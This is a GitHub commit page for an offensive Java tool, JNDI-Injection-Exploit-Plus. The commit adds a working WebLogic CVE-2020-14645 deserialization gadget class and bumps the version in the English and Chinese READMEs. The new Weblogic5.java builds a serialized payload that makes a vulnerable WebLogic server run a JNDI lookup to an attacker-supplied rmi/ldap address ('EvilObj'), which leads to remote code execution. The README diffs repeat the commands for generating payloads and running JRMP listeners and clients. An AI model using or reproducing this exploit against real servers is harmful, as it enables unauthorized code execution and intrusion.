Skip to content

Commit 2479583

Browse files
cckuailongcckuailong
committed
add weblogic CVE-2020-14645 
1 parent 595a928 commit 2479583

File tree

4 files changed

+76
-18
lines changed

4 files changed

+76
-18
lines changed

‎README.md‎

Lines changed: 10 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -35,7 +35,7 @@ Groovy (GroovyClassLoader) | @cckuailong | trustURLCodebase is false but have To
3535
Groovy (GroovyShell) | @cckuailong | trustURLCodebase is false but have Tomcat and Groovy in classpath
3636
Websphere Readfile | @cckuailong | trustURLCodebase is false but have WebSphere v6-v9 in classpath
3737

38-
#### 3. Deserailization Gadget (total: 54)
38+
#### 3. Deserailization Gadget (total: 55)
3939

4040
P.S. More Gadgets (:arrow_up: ) than ysoserial, welcome to PR more! ^_^
4141

@@ -93,6 +93,7 @@ Weblogic1 :arrow_up: |@cckuailong |weblogic:10.3.6.0,
9393
Weblogic2 :arrow_up: |@cckuailong |weblogic:10.3.6.0, 12.1.3.0, 12.2.1.0
9494
Weblogic3 :arrow_up: |@cckuailong |com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager
9595
Weblogic4 :arrow_up: |@cckuailong |weblogic.common.internal.WLObjectOutputStream
96+
Weblogic5 :arrow_up: |@cckuailong |weblogic:12.2.1.4, coherence
9697
Wicket1 |@jacob-baines |wicket-util:6.23.0, slf4j-api:1.6.4
9798
WildFly1 :arrow_up: |@hugow |org.wildfly:wildfly-connector:26.0.1.Final
9899

@@ -114,15 +115,15 @@ Apereo | Apereo 4.1 Deserialization RCE
114115
- Example
115116

116117
```shell
117-
$ java -jar JNDI-Injection-Exploit-Plus-1.8-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -W Xstream
118+
$ java -jar JNDI-Injection-Exploit-Plus-1.9-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -W Xstream
118119
```
119120

120121
![](./img/4.png)
121122

122123
#### Web service to return Deserial Gadgets
123124

124125
```shell
125-
java -jar JNDI-Injection-Exploit-Plus-1.8-SNAPSHOT-all.jar
126+
java -jar JNDI-Injection-Exploit-Plus-1.9-SNAPSHOT-all.jar
126127
```
127128

128129
```shell
@@ -142,7 +143,7 @@ P.S. Param wrapper & output is opetional
142143
Run as
143144

144145
```shell
145-
$ java -jar JNDI-Injection-Exploit-Plus-1.8-SNAPSHOT-all.jar [-C] [command] [-A] [address]
146+
$ java -jar JNDI-Injection-Exploit-Plus-1.9-SNAPSHOT-all.jar [-C] [command] [-A] [address]
146147
```
147148

148149
where:
@@ -172,7 +173,7 @@ Points for attention:
172173
Run as
173174

174175
```shell
175-
$ java -jar JNDI-Injection-Exploit-Plus-1.8-SNAPSHOT-all.jar [-C] [command] [-D] [Gadget] [-O] [bin/base64/hex]
176+
$ java -jar JNDI-Injection-Exploit-Plus-1.9-SNAPSHOT-all.jar [-C] [command] [-D] [Gadget] [-O] [bin/base64/hex]
176177
```
177178

178179
where:
@@ -190,13 +191,13 @@ where:
190191
- JRMPListener
191192

192193
```shell
193-
java -cp JNDI-Injection-Exploit-Plus-1.8-SNAPSHOT-all.jar exploit.JRMPListener <port> CommonsCollections1 calc
194+
java -cp JNDI-Injection-Exploit-Plus-1.9-SNAPSHOT-all.jar exploit.JRMPListener <port> CommonsCollections1 calc
194195
```
195196

196197
- JRMPClient
197198

198199
```shell
199-
java -jar JNDI-Injection-Exploit-Plus-1.8-SNAPSHOT-all.jar -C "<ip>:<port>" -D "JRMPClient" -O base64
200+
java -jar JNDI-Injection-Exploit-Plus-1.9-SNAPSHOT-all.jar -C "<ip>:<port>" -D "JRMPClient" -O base64
200201
```
201202

202203
## Examples
@@ -208,7 +209,7 @@ Local demo:
208209
1. Start the tool like this:
209210

210211
```shell
211-
$ java -jar JNDI-Injection-Exploit-Plus-1.8-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"
212+
$ java -jar JNDI-Injection-Exploit-Plus-1.9-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"
212213
```
213214

214215
Screenshot:
@@ -239,7 +240,7 @@ For More Examples: [Test-JNDI-Injection-Exploit-Plus](https://github.com/cckuail
239240
### Deserialization Payloads
240241

241242
```shell
242-
$ java -jar JNDI-Injection-Exploit-Plus-1.8-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -D "Spring2" -O base64
243+
$ java -jar JNDI-Injection-Exploit-Plus-1.9-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -D "Spring2" -O base64
243244
```
244245

245246
Base64 Output Result:

‎README_zh.md‎

Lines changed: 8 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -19,7 +19,7 @@ P.S. 具体利用链名称及依赖见 [表格](./README.md)
1919
#### 使用方法
2020

2121
```
22-
$ java -jar JNDI-Injection-Exploit-Plus-1.8-SNAPSHOT-all.jar [-C] [command] [-A] [address]
22+
$ java -jar JNDI-Injection-Exploit-Plus-1.9-SNAPSHOT-all.jar [-C] [command] [-A] [address]
2323
```
2424

2525
#### 参数说明
@@ -39,7 +39,7 @@ $ java -jar JNDI-Injection-Exploit-Plus-1.8-SNAPSHOT-all.jar [-C] [command] [-A]
3939
1. 运行工具
4040

4141
```
42-
$ java -jar JNDI-Injection-Exploit-Plus-1.8-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"
42+
$ java -jar JNDI-Injection-Exploit-Plus-1.9-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"
4343
```
4444

4545
![](./img/1.png)
@@ -64,7 +64,7 @@ class Test{
6464
#### 使用方法
6565

6666
```
67-
$ java -jar JNDI-Injection-Exploit-Plus-1.8-SNAPSHOT-all.jar [-C] [command] [-D] [Gadget] [-O] [bin/base64]
67+
$ java -jar JNDI-Injection-Exploit-Plus-1.9-SNAPSHOT-all.jar [-C] [command] [-D] [Gadget] [-O] [bin/base64]
6868
```
6969

7070
#### 参数说明
@@ -84,7 +84,7 @@ $ java -jar JNDI-Injection-Exploit-Plus-1.8-SNAPSHOT-all.jar [-C] [command] [-D]
8484
1. 普通
8585

8686
```
87-
$ java -jar JNDI-Injection-Exploit-Plus-1.8-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -D "Spring2" -O base64
87+
$ java -jar JNDI-Injection-Exploit-Plus-1.9-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -D "Spring2" -O base64
8888
```
8989

9090
![](./img/3.png)
@@ -93,12 +93,12 @@ $ java -jar JNDI-Injection-Exploit-Plus-1.8-SNAPSHOT-all.jar -C "/System/Applica
9393

9494
- JRMPListener
9595
```
96-
java -cp JNDI-Injection-Exploit-Plus-1.8-SNAPSHOT-all.jar exploit.JRMPListener <port> CommonsCollections1 calc
96+
java -cp JNDI-Injection-Exploit-Plus-1.9-SNAPSHOT-all.jar exploit.JRMPListener <port> CommonsCollections1 calc
9797
```
9898

9999
- JRMPClient
100100
```
101-
java -jar JNDI-Injection-Exploit-Plus-1.8-SNAPSHOT-all.jar -C "<ip>:<port>" -D "JRMPClient" -O base64
101+
java -jar JNDI-Injection-Exploit-Plus-1.9-SNAPSHOT-all.jar -C "<ip>:<port>" -D "JRMPClient" -O base64
102102
```
103103

104104
#### 提供反序列化包装器
@@ -111,15 +111,15 @@ Apereo | Apereo 4.1 反序列化漏洞
111111
- 示例
112112

113113
```shell
114-
$ java -jar JNDI-Injection-Exploit-Plus-1.8-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -W Xstream
114+
$ java -jar JNDI-Injection-Exploit-Plus-1.9-SNAPSHOT-all.jar -C "open -a Calculator" -D Jdk7u21 -W Xstream
115115
```
116116

117117
![](./img/4.png)
118118

119119
#### 可以返回反序列化数据的web服务
120120

121121
```shell
122-
java -jar JNDI-Injection-Exploit-Plus-1.8-SNAPSHOT-all.jar
122+
java -jar JNDI-Injection-Exploit-Plus-1.9-SNAPSHOT-all.jar
123123
```
124124

125125
```shell

‎pom.xml‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,7 @@
66

77
<groupId>cckuailong</groupId>
88
<artifactId>JNDI-Injection-Exploit-Plus</artifactId>
9-
<version>1.8-SNAPSHOT</version>
9+
<version>1.9-SNAPSHOT</version>
1010

1111
<properties>
1212
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>

‎src/main/java/payloads/Weblogic5.java‎

Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
package payloads;
2+
3+
import com.sun.rowset.JdbcRowSetImpl;
4+
import com.tangosol.util.comparator.ExtractorComparator;
5+
import com.tangosol.util.extractor.UniversalExtractor;
6+
import common.Serializer;
7+
import payloads.annotation.Authors;
8+
import payloads.annotation.Dependencies;
9+
import util.PayloadRunner;
10+
11+
import java.lang.reflect.Field;
12+
import java.util.PriorityQueue;
13+
14+
15+
/*
16+
17+
See: https://github.com/Y4er/CVE-2020-14645
18+
Command: rmi/ldap://xxxxxxx:xxx/EvilObj
19+
*/
20+
21+
// CVE-2020-14645
22+
23+
@SuppressWarnings({ "rawtypes", "unchecked" })
24+
@Dependencies({"weblogic:12.2.1.4, coherence"})
25+
@Authors({ Authors.FROHOFF })
26+
public class Weblogic5 implements ObjectPayload<Object> {
27+
28+
public byte[] getObject(final String command) throws Exception {
29+
UniversalExtractor extractor = new UniversalExtractor("getDatabaseMetaData()", null, 1);
30+
final ExtractorComparator comparator = new ExtractorComparator(extractor);
31+
32+
JdbcRowSetImpl rowSet = new JdbcRowSetImpl();
33+
rowSet.setDataSourceName(command);
34+
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
35+
36+
Object[] q = new Object[]{rowSet, rowSet};
37+
38+
Field queue1 = queue.getClass().getDeclaredField("queue");
39+
queue1.setAccessible(true);
40+
queue1.set(queue,q);
41+
42+
Field queue2 = queue.getClass().getDeclaredField("size");
43+
queue2.setAccessible(true);
44+
queue2.set(queue,2);
45+
46+
return Serializer.serialize(queue);
47+
}
48+
49+
public static byte[] getBytes(final String command) throws Exception {
50+
return Weblogic5.class.newInstance().getObject(command);
51+
}
52+
53+
public static void main(final String command) throws Exception {
54+
PayloadRunner.run(Weblogic5.class, command);
55+
}
56+
57+
}

0 commit comments

Comments
 (0)